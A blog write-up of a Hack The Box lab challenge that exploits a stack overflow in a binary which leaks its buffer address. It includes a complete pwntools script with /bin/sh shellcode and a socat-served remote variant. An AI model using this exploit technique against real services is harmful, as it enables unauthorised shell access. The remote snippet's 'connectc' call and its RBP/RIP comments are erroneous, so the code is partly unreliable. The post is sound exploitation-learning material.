C R E A T E & D E S T R OY


Basic ELF Shell | PwnTools

While doing the HTB Fortress JET I am required to overflow a vulnerable binary named leak. With limited BOF experience (strictly to Immunity Debugger) I decided this is a good time to learn how to use PwnTools.

┌──(kali㉿kali)-[/htb/jet/files/pwn]
└─$ ./leak
Oops, I'm leaking! 0x7ffc9b69e5c0
Pwn me ¯\_(ツ)_/¯ 
                                                                                                                                                                                                                                          
┌──(kali㉿kali)-[/htb/jet/files/pwn]
└─$ ./leak
Oops, I'm leaking! 0x7ffdde939780
Pwn me ¯\_(ツ)_/¯ 

Every time we run the binary, it gives us a different memory location.

We see here with a large string the binary crashes.

Let’s create a pattern using PwnTool’s cyclic tool.

pwn cyclic 200 > fuzz

Crashed at 71 characters and starts to feed into RSP at 72.

After much Googling and learning how to use GDB I learn that the hex value given to us when we run the binary will always point to the input we’ve given.

pwndbg> run                                                                                                                                                                                                                               
Starting program: /htb/jet/files/pwn/leak AAAA                                                                                                                                                                                            
[Thread debugging using libthread_db enabled]                                                                                                                                                                                             
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                                                                                                
Oops, I'm leaking! 0x7fffffffde80                                                                                                                                                                                                         
Pwn me ¯\_(ツ)_/¯                                                                                                                                                                                                                         
> ABCD                                                                                                                                                                 
                                                                                                                                                                                                                                          
Breakpoint 1, 0x000000000040088e in main () 
pwndbg> x 0x7fffffffde80
0x7fffffffde80: 0x44434241  #Note little Endian

We can see in the image above that all 71 characters get put into this location, so should be a great place for our shell code to hide.

What appears to be happening is the binary runs and allows us to enter up to 71 bytes. This can be anything, in our case it’s going to be shell code. At 72 bytes we overflow the buffer into RIP, at which point we can insert the memory address leaked to us by the binary, pointing to the start of our shell code. The program then crashes and the RIP points to the ret function, which is overwritten with our memory address.

*RSP  0x7fffffffded8 ◂— 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'                                                                                
*RIP  0x40088e (main+95) ◂— ret 
► 0x40088e <main+95>    ret    <0x6161617461616173> 
from pwn import *

#Execute the binary and grab the leaked address
sh = process("./leak")
sh.recvuntil(b"Oops, I'm leaking! ")
#Here comes the address, because it's coming in as bytes and we need hex we have to convert to a decimal integer and then back to 64bit.
pointer = int(sh.recvuntil(b"\n"),16)

#Our shell code, grabbed from ExploitDB
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
#PwnTool's cyclic find to find the total number of bytes before we overflow into RBP.
#We want to have shell code + padding to overflow the buffer
shellcode += cyclic(cyclic_find('saaa')-len(shellcode))
#Now we're writing into RBP, we can enter the leaked memory address from earlier.
shellcode += p64(pointer)

#Now we'll continue to receive from the binary until we can input our payload and drop into an interactive session, hopefully to a prompt.
sh.recvuntil(b"> ")
sh.sendline(shellcode)
sh.interactive()
┌──(kali㉿kali)-[/htb/jet/files/pwn]
└─$ python3 pwn-leak.py
[+] Starting local process './leak': pid 6331
[*] Switching to interactive mode
$ whoami
kali

Awesome, so this works locally. Now to connect it to a remote process.

sh = connectc('127.0.0.1', 5000)
sh.recvuntil(b"Oops, I'm leaking! ")

pointer = int(sh.recvuntil(b"\n"),16)

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
shellcode += cyclic(cyclic_find('saaa')-len(shellcode))
shellcode += p64(pointer)

sh.recvuntil(b"> ")
sh.sendline(shellcode)
sh.interactive()

We can open up the process to remote connections using socat.

socat tcp-l:5000,reuseaddr,fork EXEC:"./leak"

For the purposes of our HTB challenge we’ve now popped a shell as the user who owns this binary.

Success!

Leave a Reply

Your email address will not be published. Required fields are marked *